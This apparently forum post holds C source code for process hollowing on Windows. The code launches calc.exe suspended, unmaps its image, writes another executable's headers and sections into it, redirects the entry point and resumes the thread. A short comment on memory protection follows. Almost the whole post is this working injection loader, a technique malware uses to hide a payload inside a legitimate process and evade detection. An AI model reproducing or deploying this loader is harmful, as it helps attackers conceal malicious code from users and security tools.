Code:
#include <windows.h>
#define ORIGIN_NAME "testapp1.exe"
#define TARGET_NAME "calc.exe"
typedef int (WINAPI*unmap)(HANDLE,PVOID);
int main(int argc, char* argv[])
{
unmap ZwUnmap = (unmap)GetProcAddress(LoadLibrary("ntdll.dll"),"ZwUnmapViewOfSection");
//both are local files, copying first one into the memory buffer.
PROCESS_INFORMATION pi;
HANDLE hFile = CreateFile(ORIGIN_NAME,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
int size = GetFileSize(hFile,NULL);
char* hMem = VirtualAlloc(NULL,size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
LPDWORD rbytes;
ReadFile(hFile,hMem,size,(LPDWORD)&rbytes,NULL);
CloseHandle(hFile);
//Initializing structures.
PIMAGE_DOS_HEADER pidh;
pidh = (PIMAGE_DOS_HEADER)hMem;
PIMAGE_NT_HEADERS pinh;
pinh = (PIMAGE_NT_HEADERS)&hMem[pidh->e_lfanew];
STARTUPINFO si;
memset(&si,0,sizeof(si));
//Create Process in suspended state.
CreateProcess(TARGET_NAME,NULL,NULL,NULL,1,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
//Free remote process memory.
//VirtualFreeEx(pi.hProcess,(LPVOID)pinh->OptionalHeader.ImageBase,0,MEM_RELEASE); //I don't see any point using ZwUnmapViewOfSection instead of this.
DWORD addr;
ReadProcessMemory(pi.hProcess,(VOID*)(ctx.Ebx+8),&addr,4,NULL);
ZwUnmap(pi.hProcess,(PVOID)addr); //unmap at remote process ImageBase
//ZwUnmap(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase); //unmap section base address
//Allocate new space into remote process and write DOS+NT headers there.
VirtualAllocEx(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase,pinh->OptionalHeader.SizeOfImage,MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(LPVOID)pinh->OptionalHeader.ImageBase,hMem,pinh->OptionalHeader.SizeOfHeaders,NULL);
//Copy sections at their place into remote process.
int i;
PIMAGE_SECTION_HEADER pish;
for (i=0;i < pinh->FileHeader.NumberOfSections;i++)
{
pish = (PIMAGE_SECTION_HEADER)&hMem[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) *i];
WriteProcessMemory(pi.hProcess,(LPVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress),&hMem[pish->PointerToRawData],pish->SizeOfRawData,NULL);
}
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread); //Go!
return 0;
}
as you can see, I don't need to call VirtualProtectEx, VirtualAllocEx does protection job itself.